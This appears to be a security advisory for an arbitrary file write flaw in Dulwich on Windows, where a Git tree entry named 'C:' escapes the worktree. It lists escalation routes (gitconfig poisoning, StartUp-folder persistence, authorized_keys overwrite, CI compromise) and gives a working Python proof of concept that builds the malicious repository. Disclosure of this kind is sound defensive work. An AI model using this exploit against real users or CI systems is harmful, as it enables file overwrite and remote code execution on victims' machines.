Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths

Affected files

• dulwich/index.py (Methods: validate_path_element_ntfs, _tree_to_fs_path)
• dulwich/porcelain/__init__.py (Method: _checked_worktree_path)

Description / Summary

A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.

A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").

On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.

While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.

Potential impact

This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.

Attack vectors include:

1. Git Config Poisoning (RCE): Writing a malicious C:\\Users\\<victim>\\.gitconfig file to set core.sshCommand to an arbitrary executable, granting RCE the next time the user interacts with Git.
2. Persistence (RCE): Dropping a malicious executable into C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\.
3. SSH Key Overwrite: Writing to C:\\Users\\<victim>\\.ssh\\authorized_keys to compromise remote servers accessible by the victim.
4. CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.

Proof of Concept (PoC)

The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.

from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile

repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)

# 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)

# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree();   evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir  = Tree(); users_dir[b"Users"]   = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)

# VULNERABILITY: The "C:" directory bypasses validation
c_drive    = Tree(); c_drive[b"C:"]        = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)

commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <[email protected]>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id

print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")
# Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt